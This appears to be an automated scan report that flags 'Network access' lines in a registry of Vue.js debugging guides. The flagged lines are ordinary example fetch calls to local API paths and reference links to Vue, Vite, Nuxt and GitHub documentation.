// BAD: Makes async request const userData = computed(async () => { const response = await fetch('/api/user') // Side effect - API call! - Network accessline 39
const userData = computed(async () => { const response = await fetch('/api/user') // Side effect - API call! return response.json() - Network accessline 40
const response = await fetch('/api/user') // Side effect - API call! - Network accessline 72
// GOOD: Use lifecycle hook for initial fetch onMounted(async () => { const response = await fetch('/api/user') - Network accessline 73
onMounted(async () => { const response = await fetch('/api/user') userData.value = await response.json() - Network accessline 74
const response = await fetch('/api/user') - Network accessline 98
|-----------------|---------|-------------| | State mutation | `otherRef.value = x` | Use watcher | | API calls | `fetch()`, `axios()` | Use watcher or lifecycle hook | - Network accessline 99
| State mutation | `otherRef.value = x` | Use watcher | | API calls | `fetch()`, `axios()` | Use watcher or lifecycle hook | | DOM manipulation | `document.title = x` | Use watcher | - Network accessline 100
| API calls | `fetch()`, `axios()` | Use watcher or lifecycle hook | - Network accessline 106
## Reference - [Vue.js Computed Properties - Getters Should Be Side-Effect Free](https://vuejs.org/guide/essentials/computed.html#getters-should-be-side-effect-free) - Network accessline 107
- [Vue.js Computed Properties - Getters Should Be Side-Effect Free](https://vuejs.org/guide/essentials/computed.html#getters-should-be-side-effect-free)
packages/autoskills/skills-registry/vue-debug-guides/reference/computed-return-value-readonly.md
- Network accessline 158
## Reference - [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value) - Network accessline 159
- [Vue.js Computed Properties - Avoid Mutating Computed Value](https://vuejs.org/guide/essentials/computed.html#avoid-mutating-computed-value) - Network accessline 160
- [Vue.js Computed Properties - Writable Computed](https://vuejs.org/guide/essentials/computed.html#writable-computed)
packages/autoskills/skills-registry/vue-debug-guides/reference/configure-app-before-mount.md
- Network accessline 87
## Reference - [Vue.js - Creating a Vue Application](https://vuejs.org/guide/essentials/application.html) - Network accessline 88
- [Vue.js - Creating a Vue Application](https://vuejs.org/guide/essentials/application.html) - Network accessline 89
- [Vue.js Application API](https://vuejs.org/api/application.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/declare-emits-for-documentation.md
- Network accessline 209
## Reference - [Vue.js Component Events - Declaring Emitted Events](https://vuejs.org/guide/components/events.html#declaring-emitted-events) - Network accessline 210
- [Vue.js Component Events - Declaring Emitted Events](https://vuejs.org/guide/components/events.html#declaring-emitted-events) - Network accessline 211
- [Vue.js Component Events - Events Validation](https://vuejs.org/guide/components/events.html#events-validation) - Network accessline 212
- [Vue 3 Migration - emits Option](https://v3-migration.vuejs.org/breaking-changes/emits-option)
packages/autoskills/skills-registry/vue-debug-guides/reference/define-expose-before-await.md
- Network accessline 35
// WRONG: await before defineExpose const response = await fetch('/api/data') - Network accessline 36
const response = await fetch('/api/data') - Network accessline 94
// Now safe to use await const response = await fetch('/api/data') - Network accessline 95
const response = await fetch('/api/data') - Network accessline 116
async function refreshData() { loading.value = true const response = await fetch('/api/data') - Network accessline 117
loading.value = true const response = await fetch('/api/data') data.value = await response.json() - Network accessline 118
const response = await fetch('/api/data') - Network accessline 159
async function loadData() { const [userRes, postsRes] = await Promise.all([ fetch('/api/user'), - Network accessline 160
const [userRes, postsRes] = await Promise.all([ fetch('/api/user'), fetch('/api/posts') - Network accessline 161
fetch('/api/user'), - Network accessline 162
fetch('/api/posts') - Network accessline 182
// Context available here await fetch(...) // Suspends execution - Network accessline 183
await fetch(...) // Suspends execution - Network accessline 190
## Reference - [Vue.js Script Setup - defineExpose](https://vuejs.org/api/sfc-script-setup.html#defineexpose) - Network accessline 191
- [Vue.js Script Setup - defineExpose](https://vuejs.org/api/sfc-script-setup.html#defineexpose) - Network accessline 192
- [Vue.js Async Components](https://vuejs.org/guide/components/async.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/define-model-default-value-sync.md
- Network accessline 137
## Reference - [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html) - Network accessline 138
- [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html) - Network accessline 139
- [Vue School - defineModel Guide](https://vueschool.io/articles/vuejs-tutorials/v-model-and-definemodel-a-comprehensive-guide-to-two-way-binding-in-vue-js-3/)
packages/autoskills/skills-registry/vue-debug-guides/reference/defineEmits-must-be-top-level.md
- Network accessline 162
## Reference - [Vue.js SFC script setup](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits) - Network accessline 163
- [Vue.js SFC script setup](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits) - Network accessline 164
- [ESLint vue/valid-define-emits](https://eslint.vuejs.org/rules/valid-define-emits)
packages/autoskills/skills-registry/vue-debug-guides/reference/defineEmits-no-runtime-and-type-mixed.md
- Network accessline 168
## Reference - [Vue.js SFC script setup - defineEmits](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits) - Network accessline 169
- [Vue.js SFC script setup - defineEmits](https://vuejs.org/api/sfc-script-setup.html#defineprops-defineemits) - Network accessline 170
- [Vue.js TypeScript with Composition API](https://vuejs.org/guide/typescript/composition-api.html#typing-component-emits)
packages/autoskills/skills-registry/vue-debug-guides/reference/definemodel-object-mutation-no-emit.md
- Network accessline 145
## Reference - [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html) - Network accessline 146
- [Vue.js Component v-model](https://vuejs.org/guide/components/v-model.html) - Network accessline 147
- [GitHub Discussion: defineModel with objects](https://github.com/orgs/vuejs/discussions/10538) - Network accessline 148
- [SIMPL Engineering: Vue defineModel Pitfalls](https://engineering.simpl.de/post/vue_definemodel/)
packages/autoskills/skills-registry/vue-debug-guides/reference/dom-update-timing-nexttick.md
- Network accessline 88
## Reference - [Vue.js Reactivity Fundamentals - DOM Update Timing](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#dom-update-timing) - Network accessline 89
- [Vue.js Reactivity Fundamentals - DOM Update Timing](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#dom-update-timing) - Network accessline 90
- [Vue.js nextTick API](https://vuejs.org/api/general.html#nexttick)
packages/autoskills/skills-registry/vue-debug-guides/reference/dynamic-argument-constraints.md
- Network accessline 68
// Simple string variable const attributeName = ref('href') const url = ref('https://vuejs.org') - Network accessline 70
const url = ref('https://vuejs.org') - Network accessline 107
// Match the lowercase used in template const attrname = ref('href') const url = ref('https://vuejs.org') - Network accessline 108
const attrname = ref('href') const url = ref('https://vuejs.org') return { attrname, url } - Network accessline 109
const url = ref('https://vuejs.org') - Network accessline 144
## Reference - [Vue.js Template Syntax - Dynamic Arguments](https://vuejs.org/guide/essentials/template-syntax.html#dynamic-arguments) - Network accessline 145
- [Vue.js Template Syntax - Dynamic Arguments](https://vuejs.org/guide/essentials/template-syntax.html#dynamic-arguments) - Network accessline 146
- [Vue.js Template Syntax - Dynamic Argument Value Constraints](https://vuejs.org/guide/essentials/template-syntax.html#dynamic-argument-value-constraints)
packages/autoskills/skills-registry/vue-debug-guides/reference/dynamic-component-registration-vite.md
- Network accessline 145
## Reference - [Vite - Glob Import](https://vitejs.dev/guide/features.html#glob-import) - Network accessline 146
- [Vite - Glob Import](https://vitejs.dev/guide/features.html#glob-import) - Network accessline 147
- [Vue.js Component Registration](https://vuejs.org/guide/components/registration.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/event-modifier-order-matters.md
packages/autoskills/skills-registry/vue-debug-guides/reference/exact-modifier-for-precise-shortcuts.md
packages/autoskills/skills-registry/vue-debug-guides/reference/fallthrough-attrs-overwrite-vue3.md
- Network accessline 157
- [Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html) - Network accessline 158
- [Vue 3 Migration Guide - Attribute Coercion Behavior](https://v3-migration.vuejs.org/breaking-changes/) - Network accessline 159
- [Vue Fallthrough Attributes behaviour changes from Vue 2 to Vue 3](https://lukes.tips/posts/vue-3-fallthough-attributes-changes/)
packages/autoskills/skills-registry/vue-debug-guides/reference/in-dom-template-parsing-caveats.md
- Network accessline 148
## Reference - [Vue.js - In-DOM Template Parsing Caveats](https://vuejs.org/guide/essentials/component-basics.html#in-dom-template-parsing-caveats) - Network accessline 149
- [Vue.js - In-DOM Template Parsing Caveats](https://vuejs.org/guide/essentials/component-basics.html#in-dom-template-parsing-caveats)
packages/autoskills/skills-registry/vue-debug-guides/reference/inheritattrs-false-for-wrapper-components.md
- Network accessline 229
- [Fallthrough Attributes - Disabling Attribute Inheritance](https://vuejs.org/guide/components/attrs.html#disabling-attribute-inheritance) - Network accessline 230
- [Build Advanced Components in Vue 3 using $attrs](https://www.thisdot.co/blog/build-advanced-components-in-vue-3-using-usdattrs)
packages/autoskills/skills-registry/vue-debug-guides/reference/keepalive-router-nested-double-mount.md
- Network accessline 219
## Reference - [Vue Router Issue #626: keep-alive in nested route mounted twice](https://github.com/vuejs/router/issues/626) - Network accessline 220
- [Vue Router Issue #626: keep-alive in nested route mounted twice](https://github.com/vuejs/router/issues/626) - Network accessline 221
- [GitHub: vue3-keep-alive-component workaround](https://github.com/emiyalee1005/vue3-keep-alive-component) - Network accessline 222
- [Vue.js KeepAlive Documentation](https://vuejs.org/guide/built-ins/keep-alive.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/keepalive-transition-memory-leak.md
- Network accessline 141
## Reference - [GitHub Issue #9842: Memory leak with transition and keep-alive](https://github.com/vuejs/vue/issues/9842) - Network accessline 142
- [GitHub Issue #9842: Memory leak with transition and keep-alive](https://github.com/vuejs/vue/issues/9842) - Network accessline 143
- [GitHub Issue #9840: Memory leak with transition and keep-alive](https://github.com/vuejs/vue/issues/9840) - Network accessline 144
- [Vue.js KeepAlive Documentation](https://vuejs.org/guide/built-ins/keep-alive.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/keyup-modifier-timing.md
- Network accessline 135
## Reference - [Vue.js Event Handling - Key Modifiers](https://vuejs.org/guide/essentials/event-handling.html#key-modifiers) - Network accessline 136
- [Vue.js Event Handling - Key Modifiers](https://vuejs.org/guide/essentials/event-handling.html#key-modifiers) - Network accessline 137
- [Vue.js Event Handling - System Modifier Keys](https://vuejs.org/guide/essentials/event-handling.html#system-modifier-keys)
packages/autoskills/skills-registry/vue-debug-guides/reference/lifecycle-dom-access-timing.md
- Network accessline 213
## Reference - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html) - Network accessline 214
- [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html) - Network accessline 215
- [Vue.js Template Refs](https://vuejs.org/guide/essentials/template-refs.html) - Network accessline 216
- [Vue.js nextTick](https://vuejs.org/api/general.html#nexttick)
packages/autoskills/skills-registry/vue-debug-guides/reference/lifecycle-hooks-synchronous-registration.md
- Network accessline 154
## Reference - [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html) - Network accessline 155
- [Vue.js Lifecycle Hooks](https://vuejs.org/guide/essentials/lifecycle.html) - Network accessline 156
- [Composition API Lifecycle Hooks](https://vuejs.org/api/composition-api-lifecycle.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/lifecycle-ssr-awareness.md
- Network accessline 181
## Reference - [Vue.js SSR Guide](https://vuejs.org/guide/scaling-up/ssr.html) - Network accessline 182
- [Vue.js SSR Guide](https://vuejs.org/guide/scaling-up/ssr.html) - Network accessline 183
- [Nuxt.js Lifecycle](https://nuxt.com/docs/api/composables/use-nuxt-app#lifecycle-hooks) - Network accessline 184
- [Vue SSR Hydration](https://vuejs.org/guide/scaling-up/ssr.html#client-hydration)
packages/autoskills/skills-registry/vue-debug-guides/reference/local-components-not-in-descendants.md
- Network accessline 150
## Reference - [Vue.js Component Registration - Local Registration](https://vuejs.org/guide/components/registration.html#local-registration) - Network accessline 151
- [Vue.js Component Registration - Local Registration](https://vuejs.org/guide/components/registration.html#local-registration)
packages/autoskills/skills-registry/vue-debug-guides/reference/mount-return-value.md
- Network accessline 86
## Reference - [Vue.js - Mounting the App](https://vuejs.org/guide/essentials/application.html#mounting-the-app) - Network accessline 87
- [Vue.js - Mounting the App](https://vuejs.org/guide/essentials/application.html#mounting-the-app) - Network accessline 88
- [Vue.js Application API - mount()](https://vuejs.org/api/application.html#app-mount)
packages/autoskills/skills-registry/vue-debug-guides/reference/multi-root-component-class-attrs.md
packages/autoskills/skills-registry/vue-debug-guides/reference/native-event-collision-with-emits.md
- Network accessline 160
## Reference - [Vue.js Component Events](https://vuejs.org/guide/components/events.html) - Network accessline 161
- [Vue.js Component Events](https://vuejs.org/guide/components/events.html) - Network accessline 162
- [Vue.js Fallthrough Attributes](https://vuejs.org/guide/components/attrs.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/no-passive-with-prevent.md
- Network accessline 139
## Reference - [Vue.js Event Handling - Event Modifiers](https://vuejs.org/guide/essentials/event-handling.html#event-modifiers) - Network accessline 140
- [Vue.js Event Handling - Event Modifiers](https://vuejs.org/guide/essentials/event-handling.html#event-modifiers) - Network accessline 141
- [MDN - Improving scroll performance with passive listeners](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener#improving_scrolling_performance_with_passive_listeners)
packages/autoskills/skills-registry/vue-debug-guides/reference/no-v-if-with-v-for.md
- Network accessline 133
## Reference - [Vue.js Style Guide - Avoid v-if with v-for](https://vuejs.org/style-guide/rules-essential.html#avoid-v-if-with-v-for) - Network accessline 134
- [Vue.js Style Guide - Avoid v-if with v-for](https://vuejs.org/style-guide/rules-essential.html#avoid-v-if-with-v-for) - Network accessline 135
- [Vue 3 Migration Guide - v-if vs v-for Precedence](https://v3-migration.vuejs.org/breaking-changes/v-if-v-for) - Network accessline 136
- [ESLint Plugin Vue - no-use-v-if-with-v-for](https://eslint.vuejs.org/rules/no-use-v-if-with-v-for)
packages/autoskills/skills-registry/vue-debug-guides/reference/perf-computed-object-stability.md
- Network accessline 155
## Reference - [Vue.js Performance - Computed Stability](https://vuejs.org/guide/best-practices/performance.html#computed-stability) - Network accessline 156
- [Vue.js Performance - Computed Stability](https://vuejs.org/guide/best-practices/performance.html#computed-stability) - Network accessline 157
- [Vue.js Computed Properties](https://vuejs.org/guide/essentials/computed.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/perf-props-stability-update-optimization.md
packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-global-properties-sparingly.md
packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-install-before-mount.md
- Network accessline 122
- [Vue.js Plugins Documentation](https://vuejs.org/guide/reusability/plugins.html) - Network accessline 123
- [Vue.js Application API](https://vuejs.org/api/application.html) - Network accessline 124
- [Vue 3 Migration Guide - Global API](https://v3-migration.vuejs.org/breaking-changes/global-api.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-prefer-provide-inject-over-global-properties.md
- Network accessline 118
- [Vue.js Plugins Documentation](https://vuejs.org/guide/reusability/plugins.html) - Network accessline 119
- [Vue.js Provide/Inject](https://vuejs.org/guide/components/provide-inject.html) - Network accessline 120
- [TypeScript with Options API](https://vuejs.org/guide/typescript/options-api.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/plugin-typescript-type-augmentation.md
- Network accessline 155
- [Vue.js TypeScript with Options API](https://vuejs.org/guide/typescript/options-api.html) - Network accessline 156
- [TypeScript Module Augmentation](https://www.typescriptlang.org/docs/handbook/declaration-merging.html#module-augmentation) - Network accessline 157
- [Vue.js Plugins Documentation](https://vuejs.org/guide/reusability/plugins.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/prop-defineprops-scope-limitation.md
packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-debugging-challenges.md
packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-default-value-factory.md
- Network accessline 199
// TypeScript understands the factory return type const config = inject(ConfigKey, () => ({ apiUrl: 'https://api.example.com', - Network accessline 200
const config = inject(ConfigKey, () => ({ apiUrl: 'https://api.example.com', debug: false, - Network accessline 201
apiUrl: 'https://api.example.com', - Network accessline 242
## Reference - [Vue.js inject() API Reference](https://vuejs.org/api/composition-api-dependency-injection.html#inject) - Network accessline 243
- [Vue.js inject() API Reference](https://vuejs.org/api/composition-api-dependency-injection.html#inject) - Network accessline 244
- [Vue.js Provide/Inject Guide](https://vuejs.org/guide/components/provide-inject.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-reactivity-not-automatic.md
- Network accessline 223
## Reference - [Vue.js Provide/Inject - Working with Reactivity](https://vuejs.org/guide/components/provide-inject.html#working-with-reactivity) - Network accessline 224
- [Vue.js Provide/Inject - Working with Reactivity](https://vuejs.org/guide/components/provide-inject.html#working-with-reactivity) - Network accessline 225
- [How to make provide/inject reactive - LogRocket Blog](https://blog.logrocket.com/how-to-make-provide-inject-reactive/) - Network accessline 226
- [GitHub Issue: Inject/Provide is not reactive](https://github.com/vuejs/vue/issues/7017)
packages/autoskills/skills-registry/vue-debug-guides/reference/provide-inject-synchronous-setup.md
- Network accessline 52
const response = await fetch('/api/config') - Network accessline 233
## Reference - [Vue.js Composition API - provide()](https://vuejs.org/api/composition-api-dependency-injection.html#provide) - Network accessline 234
- [Vue.js Composition API - provide()](https://vuejs.org/api/composition-api-dependency-injection.html#provide) - Network accessline 235
- [Vue.js Provide/Inject Guide](https://vuejs.org/guide/components/provide-inject.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/reactive-destructuring.md
- Network accessline 87
## Reference - [Vue.js Reactivity Fundamentals - reactive()](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#reactive) - Network accessline 88
- [Vue.js Reactivity Fundamentals - reactive()](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#reactive) - Network accessline 89
- [Vue.js Reactivity API - toRefs()](https://vuejs.org/api/reactivity-utilities.html#torefs)
packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-debugging-hooks.md
- Network accessline 129
## Reference - [Vue.js Reactivity in Depth - Debugging](https://vuejs.org/guide/extras/reactivity-in-depth.html#reactivity-debugging) - Network accessline 130
- [Vue.js Reactivity in Depth - Debugging](https://vuejs.org/guide/extras/reactivity-in-depth.html#reactivity-debugging) - Network accessline 131
- [Vue.js computed() API](https://vuejs.org/api/reactivity-core.html#computed) - Network accessline 132
- [Vue.js onRenderTracked()](https://vuejs.org/api/composition-api-lifecycle.html#onrendertracked)
packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-markraw-for-non-reactive.md
- Network accessline 65
// CORRECT: Large static data const geoJsonData = markRaw(await fetch('/huge-geojson.json').then(r => r.json())) - Network accessline 66
const geoJsonData = markRaw(await fetch('/huge-geojson.json').then(r => r.json())) - Network accessline 146
## Reference - [Vue.js markRaw() API](https://vuejs.org/api/reactivity-advanced.html#markraw) - Network accessline 147
- [Vue.js markRaw() API](https://vuejs.org/api/reactivity-advanced.html#markraw) - Network accessline 148
- [Vue.js Reducing Reactivity Overhead](https://vuejs.org/guide/best-practices/performance.html#reduce-reactivity-overhead-for-large-immutable-structures) - Network accessline 149
- [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-proxy-identity-hazard.md
- Network accessline 94
## Reference - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html) - Network accessline 95
- [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html) - Network accessline 96
- [Vue.js toRaw() API](https://vuejs.org/api/reactivity-advanced.html#toraw)
packages/autoskills/skills-registry/vue-debug-guides/reference/reactivity-same-tick-batching.md
- Network accessline 163
## Reference - [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html) - Network accessline 164
- [Vue.js Reactivity in Depth](https://vuejs.org/guide/extras/reactivity-in-depth.html) - Network accessline 165
- [Vue.js Watchers - Callback Flush Timing](https://vuejs.org/guide/essentials/watchers.html#callback-flush-timing) - Network accessline 166
- [Vue.js nextTick()](https://vuejs.org/api/general.html#nexttick)
packages/autoskills/skills-registry/vue-debug-guides/reference/ref-value-access.md
packages/autoskills/skills-registry/vue-debug-guides/reference/refs-in-collections-need-value.md
- Network accessline 80
## Reference - [Vue.js Reactivity Fundamentals - Caveat in Arrays and Collections](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-in-arrays-and-collections) - Network accessline 81
- [Vue.js Reactivity Fundamentals - Caveat in Arrays and Collections](https://vuejs.org/guide/essentials/reactivity-fundamentals.html#caveat-in-arrays-and-collections)
packages/autoskills/skills-registry/vue-debug-guides/reference/render-function-avoid-internal-vnode-properties.md
- Network accessline 149
## Reference - [Vue.js Render Function APIs](https://vuejs.org/api/render-function.html) - Network accessline 150
- [Vue.js Render Function APIs](https://vuejs.org/api/render-function.html) - Network accessline 151
- [Vue.js Render Functions - The Virtual DOM](https://vuejs.org/guide/extras/render-function.html#the-virtual-dom)
packages/autoskills/skills-registry/vue-debug-guides/reference/render-function-vnodes-must-be-unique.md
- Network accessline 132
## Reference - [Vue.js Render Functions - Vnodes Must Be Unique](https://vuejs.org/guide/extras/render-function.html#vnodes-must-be-unique) - Network accessline 133
- [Vue.js Render Functions - Vnodes Must Be Unique](https://vuejs.org/guide/extras/render-function.html#vnodes-must-be-unique)
packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-render-function-h-import-vue3.md
- Network accessline 146
## Reference - [Vue 3 Migration Guide - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html) - Network accessline 147
- [Vue 3 Migration Guide - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html) - Network accessline 148
- [Vue.js Render Functions & JSX](https://vuejs.org/guide/extras/render-function.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-render-function-return-from-setup.md
- Network accessline 146
## Reference - [Vue.js Render Functions with Composition API](https://vuejs.org/guide/extras/render-function.html#render-functions-jsx) - Network accessline 147
- [Vue.js Render Functions with Composition API](https://vuejs.org/guide/extras/render-function.html#render-functions-jsx) - Network accessline 148
- [Vue.js Composition API setup()](https://vuejs.org/api/composition-api-setup.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-render-function-slots-as-functions.md
- Network accessline 166
## Reference - [Vue.js Render Functions - Passing Slots](https://vuejs.org/guide/extras/render-function.html#passing-slots) - Network accessline 167
- [Vue.js Render Functions - Passing Slots](https://vuejs.org/guide/extras/render-function.html#passing-slots) - Network accessline 168
- [Vue.js Render Functions - Children](https://vuejs.org/guide/extras/render-function.html#children)
packages/autoskills/skills-registry/vue-debug-guides/reference/rendering-resolve-component-for-string-names.md
- Network accessline 229
## Reference - [Vue 3 Migration - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html) - Network accessline 230
- [Vue 3 Migration - Render Function API](https://v3-migration.vuejs.org/breaking-changes/render-function-api.html) - Network accessline 231
- [Vue.js Render Function API - resolveComponent](https://vuejs.org/api/render-function.html#resolvecomponent)
packages/autoskills/skills-registry/vue-debug-guides/reference/select-initial-value-ios-bug.md
packages/autoskills/skills-registry/vue-debug-guides/reference/self-referencing-component-name.md
packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-named-exports-forbidden.md
- Network accessline 182
## Reference - [Vue.js SFC Specification](https://vuejs.org/api/sfc-spec.html) - Network accessline 183
- [Vue.js SFC Specification](https://vuejs.org/api/sfc-spec.html) - Network accessline 184
- [Vue.js Composition API - Composables](https://vuejs.org/guide/reusability/composables.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-scoped-css-child-component-styling.md
- Network accessline 154
## Reference - [Vue.js Scoped CSS - Deep Selectors](https://vuejs.org/api/sfc-css-features.html#deep-selectors) - Network accessline 155
- [Vue.js Scoped CSS - Deep Selectors](https://vuejs.org/api/sfc-css-features.html#deep-selectors) - Network accessline 156
- [Vue Loader Scoped CSS](https://vue-loader.vuejs.org/guide/scoped-css.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-scoped-css-dynamic-content.md
- Network accessline 191
## Reference - [Vue.js Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css) - Network accessline 192
- [Vue.js Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css) - Network accessline 193
- [GitHub Issue: Scoped CSS not applied for programmatically added elements](https://github.com/vuejs/vue/issues/7649)
packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-scoped-css-slot-content.md
- Network accessline 240
## Reference - [Vue.js Scoped CSS - Slotted Selectors](https://vuejs.org/api/sfc-css-features.html#slotted-selectors) - Network accessline 241
- [Vue.js Scoped CSS - Slotted Selectors](https://vuejs.org/api/sfc-css-features.html#slotted-selectors) - Network accessline 242
- [Vue.js Deep Selectors](https://vuejs.org/api/sfc-css-features.html#deep-selectors)
packages/autoskills/skills-registry/vue-debug-guides/reference/sfc-script-setup-reactivity.md
- Network accessline 192
## Reference - [Vue.js Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html) - Network accessline 193
- [Vue.js Reactivity Fundamentals](https://vuejs.org/guide/essentials/reactivity-fundamentals.html) - Network accessline 194
- [Vue.js ref()](https://vuejs.org/api/reactivity-core.html#ref) - Network accessline 195
- [Vue.js reactive()](https://vuejs.org/api/reactivity-core.html#reactive)
packages/autoskills/skills-registry/vue-debug-guides/reference/slot-forwarding-to-child-components.md
- Network accessline 141
## Reference - [Vue Land FAQ - Forwarding Slots](https://vue-land.github.io/faq/forwarding-slots) - Network accessline 142
- [Vue Land FAQ - Forwarding Slots](https://vue-land.github.io/faq/forwarding-slots) - Network accessline 143
- [Vue.js Slots - Scoped Slots](https://vuejs.org/guide/components/slots.html#scoped-slots)
packages/autoskills/skills-registry/vue-debug-guides/reference/slot-implicit-default-content.md
packages/autoskills/skills-registry/vue-debug-guides/reference/slot-name-reserved-prop.md
packages/autoskills/skills-registry/vue-debug-guides/reference/slot-named-scoped-explicit-default.md
packages/autoskills/skills-registry/vue-debug-guides/reference/slot-render-scope-parent-only.md
packages/autoskills/skills-registry/vue-debug-guides/reference/slot-v-slot-on-components-or-templates-only.md
packages/autoskills/skills-registry/vue-debug-guides/reference/ssr-hydration-mismatch-causes.md
- Network accessline 277
## Reference - [Vue.js SSR Guide - Hydration Mismatch](https://vuejs.org/guide/scaling-up/ssr.html#hydration-mismatch) - Network accessline 278
- [Vue.js SSR Guide - Hydration Mismatch](https://vuejs.org/guide/scaling-up/ssr.html#hydration-mismatch) - Network accessline 279
- [Nuxt Hydration Best Practices](https://nuxt.com/docs/guide/best-practices/hydration) - Network accessline 280
- [data-allow-mismatch RFC](https://github.com/vuejs/core/pull/9562)
packages/autoskills/skills-registry/vue-debug-guides/reference/ssr-platform-specific-apis.md
- Network accessline 159
// Fetch - works in both Node.js 18+ and browsers const response = await fetch('/api/data') - Network accessline 160
const response = await fetch('/api/data') - Network accessline 202
// app.js - Universal code uses API instead const config = await fetch('/api/config').then(r => r.json()) - Network accessline 203
const config = await fetch('/api/config').then(r => r.json()) - Network accessline 253
## Reference - [Vue.js SSR - Platform-Specific APIs](https://vuejs.org/guide/scaling-up/ssr.html#access-to-platform-specific-apis) - Network accessline 254
- [Vue.js SSR - Platform-Specific APIs](https://vuejs.org/guide/scaling-up/ssr.html#access-to-platform-specific-apis) - Network accessline 255
- [Nuxt ClientOnly Component](https://nuxt.com/docs/api/components/client-only) - Network accessline 256
- [MDN: Web APIs](https://developer.mozilla.org/en-US/docs/Web/API)
packages/autoskills/skills-registry/vue-debug-guides/reference/state-ssr-cross-request-pollution.md
- Network accessline 273
## Reference - [Vue.js State Management - SSR Considerations](https://vuejs.org/guide/scaling-up/state-management.html#ssr-considerations) - Network accessline 274
- [Vue.js State Management - SSR Considerations](https://vuejs.org/guide/scaling-up/state-management.html#ssr-considerations) - Network accessline 275
- [Pinia SSR Guide](https://pinia.vuejs.org/ssr/) - Network accessline 276
- [Vue SSR Guide](https://vuejs.org/guide/scaling-up/ssr.html)
packages/autoskills/skills-registry/vue-debug-guides/reference/suspense-no-builtin-error-handling.md
packages/autoskills/skills-registry/vue-debug-guides/reference/suspense-ssr-hydration-issues.md
- Network accessline 156
- [Vue.js Suspense Documentation](https://vuejs.org/guide/built-ins/suspense) - Network accessline 157
- [Vue Issue #6638 - Suspense hydration](https://github.com/vuejs/core/issues/6638) - Network accessline 158
- [Vue Issue #7672 - defineAsyncComponent SSR](https://github.com/vuejs/core/issues/7672) - Network accessline 159
- [TanStack Query SSR Discussion](https://github.com/TanStack/query/discussions/4870)
packages/autoskills/skills-registry/vue-debug-guides/reference/tailwind-dynamic-class-generation.md
packages/autoskills/skills-registry/vue-debug-guides/reference/teleport-scoped-styles-limitation.md
- Network accessline 189
## Reference - [Vue.js SFC CSS Features - Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css) - Network accessline 190
- [Vue.js SFC CSS Features - Scoped CSS](https://vuejs.org/api/sfc-css-features.html#scoped-css) - Network accessline 191
- [GitHub Issue #2047 - Scoped styles and teleport](https://github.com/vuejs/core/issues/2047)
packages/autoskills/skills-registry/vue-debug-guides/reference/teleport-ssr-hydration.md
- Network accessline 149
## Reference - [Vue.js SSR - Teleports](https://vuejs.org/guide/scaling-up/ssr.html#teleports) - Network accessline 150
- [Vue.js SSR - Teleports](https://vuejs.org/guide/scaling-up/ssr.html#teleports) - Network accessline 151
- [Element Plus SSR Guide](https://element-plus.org/en-US/guide/ssr.html) - Network accessline 152
- [Nuxt ClientOnly Component](https://nuxt.com/docs/api/components/client-only)
packages/autoskills/skills-registry/vue-debug-guides/reference/teleport-target-must-exist.md
- Network accessline 111
## Reference - [Vue.js Teleport - Using with Vue-rendered Targets](https://vuejs.org/guide/built-ins/teleport.html#using-with-vue-rendered-targets) - Network accessline 112
- [Vue.js Teleport - Using with Vue-rendered Targets](https://vuejs.org/guide/built-ins/teleport.html#using-with-vue-rendered-targets) - Network accessline 113
